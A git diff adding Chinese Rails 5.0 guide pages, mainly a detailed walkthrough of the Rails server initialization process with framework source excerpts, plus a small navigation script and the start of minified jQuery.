+早前版本的指南: +Rails 4.2, +Rails 4.1中文), +Rails 4.0, +Rails 3.2,和 +Rails 2.3。 +

+ + + +
+
+
+
Rails 指南同时提供 Kindle 版。
+
如果需要 Epub、PDF 格式,可以购买安道维护的电子书
+
标记了这个图标的指南还在编写中,不会出现在指南索引。这些指南可能包含不完整的信息甚至错误。您可以帮忙检查并且提交评论和修正。
+
+
+ +
+
+ +
+
+
+ + + +

入门

+
+
Rails 入门
+

从安装到建立第一个应用程序所需知道的一切。

+
+

模型

+
+
Active Record 基础
+

本篇介绍 Models、数据库持久性以及 Active Record 模式。

+
Active Record 数据库迁移
+

本篇介绍如何有条有理地使用 Active Record 来修改数据库。

+
Active Record 数据验证
+

本篇介绍如何使用 Active Record 验证功能。

+
Active Record 回调
+

本篇介绍如何使用 Active Record 回调功能。

+
Active Record 关联
+

本篇介绍如何使用 Active Record 的关联功能。

+
Active Record 查询
+

本篇介绍如何使用 Active Record 的数据库查询功能。

+
Active Model 基础
Work in progress
+

本篇介绍如何使用 Active Model。

+
+

视图

+
+
Action View 概述
Work in progress
+

本篇介绍 Action View 和常用辅助方法。

+
Rails 布局和视图渲染
+

本篇介绍 Action Controller 与 Action View 基本的版型功能,包含了渲染、重定向、使用 content_for 区块、以及局部模版。

+
Action View 表单辅助方法
+

本篇介绍 Action View 的表单帮助方法。

+
+

控制器

+
+
Action Controller 概览
+

本篇介绍 Controller 的工作原理,Controller 在请求周期所扮演的角色。内容包含 Session、滤动器、Cookies、资料串流以及如何处理由请求所发起的异常。

+
Rails 路由全解
+

本篇介绍与使用者息息相关的路由功能。想了解如何使用 Rails 的路由,从这里开始。

+
+

深入

+
+
Active Support 核心扩展
+

本篇介绍由 Active Support 定义的核心扩展功能。

+
Rails 国际化 API
+

本篇介绍如何国际化应用程序。将应用程序翻译成多种语言、更改单复数规则、对不同的国家使用正确的日期格式等。

+
Action Mailer 基础
+

本篇介绍如何使用 Action Mailer 来收发信件。

+
Active Job 基础
+

本篇提供创建背景任务、任务排程以及执行任务的所有知识。

+
测试 Rails 应用
+

这是 Rails 中测试设施的综合指南。它涵盖了从“什么是测试?”到集成测试的知识。

+
Rails 安全指南
+

本篇介绍网路应用程序常见的安全问题,如何在 Rails 里避免这些问题。

+
调试 Rails 应用
+

本篇介绍如何给 Rails 应用程式除错。包含了多种除错技巧、如何理解与了解代码背后究竟发生了什么事。

+
配置 Rails 应用
+

本篇介绍 Rails 应用程序的基本配置选项。

+
Rails 命令行
+

本篇介绍 Rails 提供的命令行工具。

+
Asset Pipeline
+

本篇介绍 Asset Pipeline.

+
在 Rails 中使用 JavaScript
+

本篇介绍 Rails 内置的 Ajax 与 JavaScript 功能。

+
Rails 初始化过程
Work in progress
+

本篇介绍 Rails 内部初始化过程。

+
自动加载和重新加载常量
+

本篇介绍自动加载和重新加载常量是如何工作的。

+
Rails 缓存概览
+

本篇介绍如何通过缓存给 Rails 应用提速。

+
Active Support 监测程序
Work in progress
+

本篇介绍如何通过 Active Support 监测 API 观察 Rails 和其他 Ruby 代码的事件。

+
Rails 应用分析指南
Work in progress
+

本篇介绍如何分析 Rails 应用并提高性能。

+
使用 Rails 开发只提供 API 的应用
+

本篇介绍如何将 Rails 用于只提供 API 的应用。

+
Action Cable 概览
+

本篇介绍 Action Cable 如何工作,以及如何使用 WebSockets 创建实时功能。

+
+

扩展 Rails

+
+
Rails 插件开发简介
Work in progress
+

本篇介绍如何开发插件扩展 Rails 的功能。

+
Rails on Rack
+

本篇介绍 Rails 和 Rack 的集成以及和其他 Rack 组件的交互。

+
创建及定制 Rails 生成器
+

本篇介绍如何添加新的生成器,或者为 Rails 内置生成器提供替代选项(例如替换 scaffold 生成器的测试组件)。

+
引擎
Work in progress
+

本篇介绍如何编写可挂载的引擎。

+
+

贡献 Ruby on Rails

+
+
贡献 Ruby on Rails
+

Rails 不是“别人的框架”。本篇提供几条贡献 Rails 开发的路线。

+
API 文档守则
+

本篇介绍 Ruby on Rails API 文档守则。

+
Ruby on Rails 指南守则
+

本篇介绍 Ruby on Rails 指南守则。

+
+

维护方针

+
+
维护方针
+

Ruby on Rails 当前支持版本,和什么时候发布新版本。

+
+

发布说明

+
+
升级 Ruby on Rails
+

本篇帮助升级到 Ruby on Rails 最新版。

+
Ruby on Rails 5.0 发布说明
+

Rails 5.0 的发布说明。

+
Ruby on Rails 4.2 发布说明
+

Rails 4.2 的发布说明。

+
Ruby on Rails 4.1 发布说明
+

Rails 4.1 的发布说明。

+
Ruby on Rails 4.0 发布说明
+

Rails 4.0 的发布说明

+
Ruby on Rails 3.2 发布说明
+

Rails 3.2 的发布说明

+
Ruby on Rails 3.1 发布说明
+

Rails 3.1 的发布说明

+
Ruby on Rails 3.0 发布说明
+

Rails 3.0 的发布说明

+
Ruby on Rails 2.3 发布说明
+

Rails 2.3 的发布说明

+
Ruby on Rails 2.2 发布说明
+

Rails 2.2 的发布说明

+
+ + +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/initialization.html b/v5.0/initialization.html new file mode 100644 index 0000000..2f7ef8c --- /dev/null +++ b/v5.0/initialization.html @@ -0,0 +1,796 @@ + + + + + + + +Rails 初始化过程 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+

Rails 初始化过程

本文介绍 Rails 初始化过程的内部细节,内容较深,建议 Rails 高级开发者阅读。

读完本文后,您将学到:

+
    +
  • 如何使用 rails server

  • +
  • Rails 初始化过程的时间表;

  • +
  • 引导过程中所需的不同文件的所在位置;

  • +
  • Rails::Server 接口的定义和使用方式。

  • +
+

本文介绍默认情况下,Rails 应用初始化过程中的每一个方法调用,详细解释各个步骤的具体细节。本文将聚焦于使用 rails server 启动 Rails 应用时发生的事情。

除非另有说明,本文中出现的路径都是相对于 Rails 或 Rails 应用所在目录的相对路径。

如果想一边阅读本文一边查看 Rails 源代码,推荐在 GitHub 中使用 t 快捷键打开文件查找器,以便快速查找相关文件。

+ + + +
+
+ +
+
+
+

1 启动

首先介绍 Rails 应用引导和初始化的过程。我们可以通过 rails consolerails server 命令启动 Rails 应用。

1.1 railties/exe/rails 文件

rails server 命令中的 rails 是位于加载路径中的 Ruby 可执行文件。这个文件包含如下内容:

+
+version = ">= 0"
+load Gem.bin_path('railties', 'rails', version)
+
+
+
+

在 Rails 控制台中运行上述代码,可以看到加载的是 railties/exe/rails 文件(译者注:在 Rails 5.0.1 中看到的是 rails 命令的使用帮助)。railties/exe/rails 文件的部分内容如下:

+
+require "rails/cli"
+
+
+
+

railties/lib/rails/cli 文件又会调用 Rails::AppLoader.exec_app 方法。

1.2 railties/lib/rails/app_loader.rb 文件

exec_app 方法的主要作用是执行应用中的 bin/rails 文件。如果在当前文件夹中未找到 bin/rails 文件,就会继续在上层文件夹中查找,直到找到为止。因此,我们可以在 Rails 应用中的任何位置执行 rails 命令。

执行 rails server 命令时,实际执行的是等价的下述命令:

+
+$ exec ruby bin/rails server
+
+
+
+

1.3 bin/rails 文件

此文件包含如下内容:

+
+#!/usr/bin/env ruby
+APP_PATH = File.expand_path('../../config/application', __FILE__)
+require_relative '../config/boot'
+require 'rails/commands'
+
+
+
+

其中 APP_PATH 常量稍后将在 rails/commands 中使用。所加载的 config/boot 是应用中的 config/boot.rb 文件,用于加载并设置 Bundler。

1.4 config/boot.rb 文件

此文件包含如下内容:

+
+ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__)
+
+require 'bundler/setup' # 设置 Gemfile 中列出的所有 gem
+
+
+
+

标准的 Rails 应用中包含 Gemfile 文件,用于声明应用的所有依赖关系。config/boot.rb 文件会把 ENV['BUNDLE_GEMFILE'] 设置为 Gemfile 文件的路径。如果 Gemfile 文件存在,就会加载 bundler/setup,Bundler 通过它设置 Gemfile 中依赖关系的加载路径。

标准的 Rails 应用依赖多个 gem,包括:

+
    +
  • actionmailer

  • +
  • actionpack

  • +
  • actionview

  • +
  • activemodel

  • +
  • activerecord

  • +
  • activesupport

  • +
  • activejob

  • +
  • arel

  • +
  • builder

  • +
  • bundler

  • +
  • erubis

  • +
  • i18n

  • +
  • mail

  • +
  • mime-types

  • +
  • rack

  • +
  • rack-cache

  • +
  • rack-mount

  • +
  • rack-test

  • +
  • rails

  • +
  • railties

  • +
  • rake

  • +
  • sqlite3

  • +
  • thor

  • +
  • tzinfo

  • +
+

1.5 rails/commands.rb 文件

执行完 config/boot.rb 文件,下一步就要加载 rails/commands,其作用是扩展命令别名。在本例中(输入的命令为 rails server),ARGV 数组只包含将要传递的 server 命令:

+
+ARGV << '--help' if ARGV.empty?
+
+aliases = {
+  "g"  => "generate",
+  "d"  => "destroy",
+  "c"  => "console",
+  "s"  => "server",
+  "db" => "dbconsole",
+  "r"  => "runner",
+  "t"  => "test"
+}
+
+command = ARGV.shift
+command = aliases[command] || command
+
+require 'rails/commands/commands_tasks'
+
+Rails::CommandsTasks.new(ARGV).run_command!(command)
+
+
+
+

我们看到,如果 ARGV 为空,Rails 就会显示帮助信息。

如果输入的命令使用的是 s 而不是 server,Rails 就会在上面定义的 aliases 散列中查找对应的命令。

1.6 rails/commands/commands_tasks.rb 文件

如果输入的是合法的 Rails 命令,Rails 就会通过 run_command! 方法调用命令的同名方法。如果 Rails 不能识别该命令,Rails 就会尝试执行同名的 Rake 任务。

+
+COMMAND_WHITELIST = %w(plugin generate destroy console server dbconsole application runner new version help)
+
+def run_command!(command)
+  command = parse_command(command)
+
+  if COMMAND_WHITELIST.include?(command)
+    send(command)
+  else
+    run_rake_task(command)
+  end
+end
+
+
+
+

本例中输入的是 server 命令,因此 Rails 会进一步运行下述代码:

+
+def set_application_directory!
+  Dir.chdir(File.expand_path('../../', APP_PATH)) unless File.exist?(File.expand_path("config.ru"))
+end
+
+def server
+  set_application_directory!
+  require_command!("server")
+
+  Rails::Server.new.tap do |server|
+    # 当服务器完成环境设置后,就需要加载应用,
+    # 否则传递给服务器的 `--environment` 选项就不会继续传递下去。
+    require APP_PATH
+    Dir.chdir(Rails.application.root)
+    server.start
+  end
+end
+
+def require_command!(command)
+  require "rails/commands/#{command}"
+end
+
+
+
+

仅当 config.ru 文件无法找到时,才会切换到 Rails 应用根目录(APP_PATH 所在文件夹的上一层文件夹,其中 APP_PATH 指向 config/application.rb 文件)。然后会加载 rails/commands/server,其作用是建立 Rails::Server 类。

+
+require 'fileutils'
+require 'optparse'
+require 'action_dispatch'
+require 'rails'
+
+module Rails
+  class Server < ::Rack::Server
+
+
+
+

fileutilsoptparse 是 Ruby 标准库,分别提供了用于处理文件和解析选项的帮助方法。

1.7 actionpack/lib/action_dispatch.rb 文件

Action Dispatch 是 Rails 框架的路由组件,提供了路由、会话、常用中间件等功能。

1.8 rails/commands/server.rb 文件

此文件中定义的 Rails::Server 类,继承自 Rack::Server 类。当调用 Rails::Server.new 方法时,会调用此文件中定义的 initialize 方法:

+
+def initialize(*)
+  super
+  set_environment
+end
+
+
+
+

首先调用的 super 方法,会调用 Rack::Server 类的 initialize 方法。

1.9 Rack: lib/rack/server.rb 文件

Rack::Server 类负责为所有基于 Rack 的应用(包括 Rails)提供通用服务器接口。

Rack::Server 类的 initialize 方法的作用是设置几个变量:

+
+def initialize(options = nil)
+  @options = options
+  @app = options[:app] if options && options[:app]
+end
+
+
+
+

在本例中,options 的值是 nil,因此这个方法什么也没做。

super 方法完成 Rack::Server 类的 initialize 方法的调用后,程序执行流程重新回到 rails/commands/server.rb 文件中。此时,会在 Rails::Server 对象的上下文中调用 set_environment 方法。乍一看这个方法什么也没做:

+
+def set_environment
+  ENV["RAILS_ENV"] ||= options[:environment]
+end
+
+
+
+

实际上,其中的 options 方法做了很多工作。options 方法在 Rack::Server 类中定义:

+
+def options
+  @options ||= parse_options(ARGV)
+end
+
+
+
+

parse_options 方法的定义如下:

+
+def parse_options(args)
+  options = default_options
+
+  # 请不要计算 CGI `ISINDEX` 参数的值。
+  # http://www.meb.uni-bonn.de/docs/cgi/cl.html
+  args.clear if ENV.include?("REQUEST_METHOD")
+
+  options.merge! opt_parser.parse!(args)
+  options[:config] = ::File.expand_path(options[:config])
+  ENV["RACK_ENV"] = options[:environment]
+  options
+end
+
+
+
+

其中 default_options 方法的定义如下:

+
+def default_options
+  environment  = ENV['RACK_ENV'] || 'development'
+  default_host = environment == 'development' ? 'localhost' : '0.0.0.0'
+
+  {
+    :environment => environment,
+    :pid         => nil,
+    :Port        => 9292,
+    :Host        => default_host,
+    :AccessLog   => [],
+    :config      => "config.ru"
+  }
+end
+
+
+
+

ENV 散列中不存在 REQUEST_METHOD 键,因此可以跳过该行。下一行会合并 opt_parser 方法返回的选项,其中 opt_parser 方法在 Rack::Server 类中定义:

+
+def opt_parser
+  Options.new
+end
+
+
+
+

Options 类在 Rack::Server 类中定义,但在 Rails::Server 类中被覆盖了,目的是为了接受不同参数。Options 类的 parse! 方法的定义,其开头部分如下:

+
+def parse!(args)
+  args, options = args.dup, {}
+
+  opt_parser = OptionParser.new do |opts|
+    opts.banner = "Usage: rails server [mongrel, thin, etc] [options]"
+    opts.on("-p", "--port=port", Integer,
+            "Runs Rails on the specified port.", "Default: 3000") { |v| options[:Port] = v }
+  ...
+
+
+
+

此方法为 options 散列的键赋值,稍后 Rails 将使用此散列确定服务器的运行方式。initialize 方法运行完成后,程序执行流程会跳回 rails/server,然后加载之前设置的 APP_PATH

1.10 config/application +

执行 require APP_PATH 时,会加载 config/application.rb 文件(前文说过 APP_PATH 已经在 bin/rails 中定义)。这个文件也是应用的一部分,我们可以根据需要对文件内容进行修改。

1.11 Rails::Server#start 方法

config/application.rb 文件加载完成后,会调用 server.start 方法。这个方法的定义如下:

+
+def start
+  print_boot_information
+  trap(:INT) { exit }
+  create_tmp_directories
+  log_to_stdout if options[:log_stdout]
+
+  super
+  ...
+end
+
+private
+
+  def print_boot_information
+    ...
+    puts "=> Run `rails server -h` for more startup options"
+  end
+
+  def create_tmp_directories
+    %w(cache pids sockets).each do |dir_to_make|
+      FileUtils.mkdir_p(File.join(Rails.root, 'tmp', dir_to_make))
+    end
+  end
+
+  def log_to_stdout
+    wrapped_app # 对应用执行 touch 操作,以便设置记录器
+
+    console = ActiveSupport::Logger.new($stdout)
+    console.formatter = Rails.logger.formatter
+    console.level = Rails.logger.level
+
+    Rails.logger.extend(ActiveSupport::Logger.broadcast(console))
+  end
+
+
+
+

这是 Rails 初始化过程中第一次输出信息。start 方法为 INT 信号创建了一个陷阱,只要在服务器运行时按下 CTRL-C,服务器进程就会退出。我们看到,上述代码会创建 tmp/cachetmp/pidstmp/sockets 文件夹。然后会调用 wrapped_app 方法,其作用是先创建 Rack 应用,再创建 ActiveSupport::Logger 类的实例。

super 方法会调用 Rack::Server.start 方法,后者的定义如下:

+
+def start &blk
+  if options[:warn]
+    $-w = true
+  end
+
+  if includes = options[:include]
+    $LOAD_PATH.unshift(*includes)
+  end
+
+  if library = options[:require]
+    require library
+  end
+
+  if options[:debug]
+    $DEBUG = true
+    require 'pp'
+    p options[:server]
+    pp wrapped_app
+    pp app
+  end
+
+  check_pid! if options[:pid]
+
+  # 对包装后的应用执行 touch 操作,以便在创建守护进程之前
+  # 加载 `config.ru` 文件(例如在 `chdir` 等操作之前)
+  wrapped_app
+
+  daemonize_app if options[:daemonize]
+
+  write_pid if options[:pid]
+
+  trap(:INT) do
+    if server.respond_to?(:shutdown)
+      server.shutdown
+    else
+      exit
+    end
+  end
+
+  server.run wrapped_app, options, &blk
+end
+
+
+
+

代码块最后一行中的 server.run 非常有意思。这里我们再次遇到了 wrapped_app 方法,这次我们要更深入地研究它(前文已经调用过 wrapped_app 方法,现在需要回顾一下)。

+
+@wrapped_app ||= build_app app
+
+
+
+

其中 app 方法定义如下:

+
+def app
+  @app ||= options[:builder] ? build_app_from_string : build_app_and_options_from_config
+end
+...
+private
+  def build_app_and_options_from_config
+    if !::File.exist? options[:config]
+      abort "configuration #{options[:config]} not found"
+    end
+
+    app, options = Rack::Builder.parse_file(self.options[:config], opt_parser)
+    self.options.merge! options
+    app
+  end
+
+  def build_app_from_string
+    Rack::Builder.new_from_string(self.options[:builder])
+  end
+
+
+
+

options[:config] 的默认值为 config.ru,此文件包含如下内容:

+
+# 基于 Rack 的服务器使用此文件来启动应用。
+
+require ::File.expand_path('../config/environment', __FILE__)
+run <%= app_const %>
+
+
+
+

Rack::Builder.parse_file 方法读取 config.ru 文件的内容,并使用下述代码解析文件内容:

+
+app = new_from_string cfgfile, config
+
+...
+
+def self.new_from_string(builder_script, file="(rackup)")
+  eval "Rack::Builder.new {\n" + builder_script + "\n}.to_app",
+    TOPLEVEL_BINDING, file, 0
+end
+
+
+
+

Rack::Builder 类的 initialize 方法会把接收到的代码块在 Rack::Builder 类的实例中执行,Rails 初始化过程中的大部分工作都在这一步完成。在 config.ru 文件中,加载 config/environment.rb 文件的这一行代码首先被执行:

+
+require ::File.expand_path('../config/environment', __FILE__)
+
+
+
+

1.12 config/environment.rb 文件

config.ru 文件(rails server)和 Passenger 都需要加载此文件。这两种运行服务器的方式直到这里才出现了交集,此前的一切工作都只是围绕 Rack 和 Rails 的设置进行的。

此文件以加载 config/application.rb 文件开始:

+
+require File.expand_path('../application', __FILE__)
+
+
+
+

1.13 config/application.rb 文件

此文件会加载 config/boot.rb 文件:

+
+require File.expand_path('../boot', __FILE__)
+
+
+
+

对于 rails server 这种启动服务器的方式,之前并未加载过 config/boot.rb 文件,因此这里会加载该文件;对于 Passenger,之前已经加载过该文件,这里就不会重复加载了。

接下来,有趣的故事就要开始了!

2 加载 Rails

config/application.rb 文件的下一行是:

+
+require 'rails/all'
+
+
+
+

2.1 railties/lib/rails/all.rb 文件

此文件负责加载 Rails 中所有独立的框架:

+
+require "rails"
+
+%w(
+  active_record/railtie
+  action_controller/railtie
+  action_view/railtie
+  action_mailer/railtie
+  active_job/railtie
+  action_cable/engine
+  rails/test_unit/railtie
+  sprockets/railtie
+).each do |railtie|
+  begin
+    require "#{railtie}"
+  rescue LoadError
+  end
+end
+
+
+
+

这些框架加载完成后,就可以在 Rails 应用中使用了。这里不会深入介绍每个框架,而是鼓励读者自己动手试验和探索。

现在,我们只需记住,Rails 的常见功能,例如 Rails 引擎、I18n 和 Rails 配置,都在这里定义好了。

2.2 回到 config/environment.rb 文件

config/application.rb 文件的其余部分定义了 Rails::Application 的配置,当应用的初始化全部完成后就会使用这些配置。当 config/application.rb 文件完成了 Rails 的加载和应用命名空间的定义后,程序执行流程再次回到 config/environment.rb 文件。在这里会通过 rails/application.rb 文件中定义的 Rails.application.initialize! 方法完成应用的初始化。

2.3 railties/lib/rails/application.rb 文件

initialize! 方法的定义如下:

+
+def initialize!(group=:default) #:nodoc:
+  raise "Application has been already initialized." if @initialized
+  run_initializers(group, self)
+  @initialized = true
+  self
+end
+
+
+
+

我们看到,一个应用只能初始化一次。railties/lib/rails/initializable.rb 文件中定义的 run_initializers 方法负责运行初始化程序:

+
+def run_initializers(group=:default, *args)
+  return if instance_variable_defined?(:@ran)
+  initializers.tsort_each do |initializer|
+    initializer.run(*args) if initializer.belongs_to?(group)
+  end
+  @ran = true
+end
+
+
+
+

run_initializers 方法的代码比较复杂,Rails 会遍历所有类的祖先,以查找能够响应 initializers 方法的类。对于找到的类,首先按名称排序,然后依次调用 initializers 方法。例如,Engine 类通过为所有的引擎提供 initializers 方法而使它们可用。

railties/lib/rails/application.rb 文件中定义的 Rails::Application 类,定义了 bootstraprailtiefinisher 初始化程序。bootstrap 初始化程序负责完成应用初始化的准备工作(例如初始化记录器),而 finisher 初始化程序(例如创建中间件栈)总是最后运行。railtie 初始化程序在 Rails::Application 类自身中定义,在 bootstrap 之后、finishers 之前运行。

应用初始化完成后,程序执行流程再次回到 Rack::Server 类。

2.4 Rack: lib/rack/server.rb 文件

程序执行流程上一次离开此文件是在定义 app 方法时:

+
+def app
+  @app ||= options[:builder] ? build_app_from_string : build_app_and_options_from_config
+end
+...
+private
+  def build_app_and_options_from_config
+    if !::File.exist? options[:config]
+      abort "configuration #{options[:config]} not found"
+    end
+
+    app, options = Rack::Builder.parse_file(self.options[:config], opt_parser)
+    self.options.merge! options
+    app
+  end
+
+  def build_app_from_string
+    Rack::Builder.new_from_string(self.options[:builder])
+  end
+
+
+
+

此时,app 就是 Rails 应用本身(一个中间件),接下来 Rack 会调用所有已提供的中间件:

+
+def build_app(app)
+  middleware[options[:environment]].reverse_each do |middleware|
+    middleware = middleware.call(self) if middleware.respond_to?(:call)
+    next unless middleware
+    klass = middleware.shift
+    app = klass.new(app, *middleware)
+  end
+  app
+end
+
+
+
+

记住,在 Server#start 方法定义的最后一行代码中,通过 wrapped_app 方法调用了 build_app 方法。让我们回顾一下这行代码:

+
+server.run wrapped_app, options, &blk
+
+
+
+

此时,server.run 方法的实现方式取决于我们所使用的服务器。例如,如果使用的是 Puma,run 方法的实现方式如下:

+
+...
+DEFAULT_OPTIONS = {
+  :Host => '0.0.0.0',
+  :Port => 8080,
+  :Threads => '0:16',
+  :Verbose => false
+}
+
+def self.run(app, options = {})
+  options  = DEFAULT_OPTIONS.merge(options)
+
+  if options[:Verbose]
+    app = Rack::CommonLogger.new(app, STDOUT)
+  end
+
+  if options[:environment]
+    ENV['RACK_ENV'] = options[:environment].to_s
+  end
+
+  server   = ::Puma::Server.new(app)
+  min, max = options[:Threads].split(':', 2)
+
+  puts "Puma #{::Puma::Const::PUMA_VERSION} starting..."
+  puts "* Min threads: #{min}, max threads: #{max}"
+  puts "* Environment: #{ENV['RACK_ENV']}"
+  puts "* Listening on tcp://#{options[:Host]}:#{options[:Port]}"
+
+  server.add_tcp_listener options[:Host], options[:Port]
+  server.min_threads = min
+  server.max_threads = max
+  yield server if block_given?
+
+  begin
+    server.run.join
+  rescue Interrupt
+    puts "* Gracefully stopping, waiting for requests to finish"
+    server.stop(true)
+    puts "* Goodbye!"
+  end
+
+end
+
+
+
+

我们不会深入介绍服务器配置本身,不过这已经是 Rails 初始化过程的最后一步了。

本文高度概括的介绍,旨在帮助读者理解 Rails 应用的代码何时执行、如何执行,从而使读者成为更优秀的 Rails 开发者。要想掌握更多这方面的知识,Rails 源代码本身也许是最好的研究对象。

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/javascripts/guides.js b/v5.0/javascripts/guides.js new file mode 100644 index 0000000..e4d25df --- /dev/null +++ b/v5.0/javascripts/guides.js @@ -0,0 +1,53 @@ +$.fn.selectGuide = function(guide) { + $("select", this).val(guide); +}; + +var guidesIndex = { + bind: function() { + var currentGuidePath = window.location.pathname; + var currentGuide = currentGuidePath.substring(currentGuidePath.lastIndexOf("/")+1); + $(".guides-index-small"). + on("change", "select", guidesIndex.navigate). + selectGuide(currentGuide); + $(document).on("click", ".more-info-button", function(e){ + e.stopPropagation(); + if ($(".more-info-links").is(":visible")) { + $(".more-info-links").addClass("s-hidden").unwrap(); + } else { + $(".more-info-links").wrap("
").removeClass("s-hidden"); + } + }); + $("#guidesMenu").on("click", function(e) { + $("#guides").toggle(); + return false; + }); + $(document).on("click", function(e){ + e.stopPropagation(); + var $button = $(".more-info-button"); + var element; + + // Cross browser find the element that had the event + if (e.target) element = e.target; + else if (e.srcElement) element = e.srcElement; + + // Defeat the older Safari bug: + // http://www.quirksmode.org/js/events_properties.html + if (element.nodeType === 3) element = element.parentNode; + + var $element = $(element); + + var $container = $element.parents(".more-info-container"); + + // We've captured a click outside the popup + if($container.length === 0){ + $container = $button.next(".more-info-container"); + $container.find(".more-info-links").addClass("s-hidden").unwrap(); + } + }); + }, + navigate: function(e){ + var $list = $(e.target); + var url = $list.val(); + window.location = url; + } +}; diff --git a/v5.0/javascripts/jquery.min.js b/v5.0/javascripts/jquery.min.js new file mode 100644 index 0000000..93adea1 --- /dev/null +++ b/v5.0/javascripts/jquery.min.js @@ -0,0 +1,4 @@ +/*! jQuery v1.7.2 jquery.com | jquery.org/license */ +(function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function cu(a){if(!cj[a]){var b=c.body,d=f("<"+a+">").appendTo(b),e=d.css("display");d.remove();if(e==="none"||e===""){ck||(ck=c.createElement("iframe"),ck.frameBorder=ck.width=ck.height=0),b.appendChild(ck);if(!cl||!ck.createElement)cl=(ck.contentWindow||ck.contentDocument).document,cl.write((f.support.boxModel?"":"")+""),cl.close();d=cl.createElement(a),cl.body.appendChild(d),e=f.css(d,"display"),b.removeChild(ck)}cj[a]=e}return cj[a]}function ct(a,b){var c={};f.each(cp.concat.apply([],cp.slice(0,b)),function(){c[this]=a});return c}function cs(){cq=b}function cr(){setTimeout(cs,0);return cq=f.now()}function ci(){try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}function ch(){try{return new a.XMLHttpRequest}catch(b){}}function cb(a,c){a.dataFilter&&(c=a.dataFilter(c,a.dataType));var d=a.dataTypes,e={},g,h,i=d.length,j,k=d[0],l,m,n,o,p;for(g=1;g0){if(c!=="border")for(;e=0===c})}function S(a){return!a||!a.parentNode||a.parentNode.nodeType===11}function K(){return!0}function J(){return!1}function n(a,b,c){var d=b+"defer",e=b+"queue",g=b+"mark",h=f._data(a,d);h&&(c==="queue"||!f._data(a,e))&&(c==="mark"||!f._data(a,g))&&setTimeout(function(){!f._data(a,e)&&!f._data(a,g)&&(f.removeData(a,d,!0),h.fire())},0)}function m(a){for(var b in a){if(b==="data"&&f.isEmptyObject(a[b]))continue;if(b!=="toJSON")return!1}return!0}function l(a,c,d){if(d===b&&a.nodeType===1){var e="data-"+c.replace(k,"-$1").toLowerCase();d=a.getAttribute(e);if(typeof d=="string"){try{d=d==="true"?!0:d==="false"?!1:d==="null"?null:f.isNumeric(d)?+d:j.test(d)?f.parseJSON(d):d}catch(g){}f.data(a,c,d)}else d=b}return d}function h(a){var b=g[a]={},c,d;a=a.split(/\s+/);for(c=0,d=a.length;c)[^>]*$|#([\w\-]*)$)/,j=/\S/,k=/^\s+/,l=/\s+$/,m=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,n=/^[\],:{}\s]*$/,o=/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,p=/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,q=/(?:^|:|,)(?:\s*\[)+/g,r=/(webkit)[ \/]([\w.]+)/,s=/(opera)(?:.*version)?[ \/]([\w.]+)/,t=/(msie) ([\w.]+)/,u=/(mozilla)(?:.*? rv:([\w.]+))?/,v=/-([a-z]|[0-9])/ig,w=/^-ms-/,x=function(a,b){return(b+"").toUpperCase()},y=d.userAgent,z,A,B,C=Object.prototype.toString,D=Object.prototype.hasOwnProperty,E=Array.prototype.push,F=Array.prototype.slice,G=String.prototype.trim,H=Array.prototype.indexOf,I={};e.fn=e.prototype={constructor:e,init:function(a,d,f){var g,h,j,k;if(!a)return this;if(a.nodeType){this.context=this[0]=a,this.length=1;return this}if(a==="body"&&!d&&c.body){this.context=c,this[0]=c.body,this.selector=a,this.length=1;return this}if(typeof a=="string"){a.charAt(0)!=="<"||a.charAt(a.length-1)!==">"||a.length<3?g=i.exec(a):g=[null,a,null];if(g&&(g[1]||!d)){if(g[1]){d=d instanceof e?d[0]:d,k=d?d.ownerDocument||d:c,j=m.exec(a),j?e.isPlainObject(d)?(a=[c.createElement(j[1])],e.fn.attr.call(a,d,!0)):a=[k.createElement(j[1])]:(j=e.buildFragment([g[1]],[k]),a=(j.cacheable?e.clone(j.fragment):j.fragment).childNodes);return e.merge(this,a)}h=c.getElementById(g[2]);if(h&&h.parentNode){if(h.id!==g[2])return f.find(a);this.length=1,this[0]=h}this.context=c,this.selector=a;return this}return!d||d.jquery?(d||f).find(a):this.constructor(d).find(a)}if(e.isFunction(a))return f.ready(a);a.selector!==b&&(this.selector=a.selector,this.context=a.context);return e.makeArray(a,this)},selector:"",jquery:"1.7.2",length:0,size:function(){return this.length},toArray:function(){return F.call(this,0)},get:function(a){return a==null?this.toArray():a<0?this[this.length+a]:this[a]},pushStack:function(a,b,c){var d=this.constructor();e.isArray(a)?E.apply(d,a):e.merge(d,a),d.prevObject=this,d.context=this.context,b==="find"?d.selector=this.selector+(this.selector?" ":"")+c:b&&(d.selector=this.selector+"."+b+"("+c+")");return d},each:function(a,b){return e.each(this,a,b)},ready:function(a){e.bindReady(),A.add(a);return this},eq:function(a){a=+a;return a===-1?this.slice(a):this.slice(a,a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return 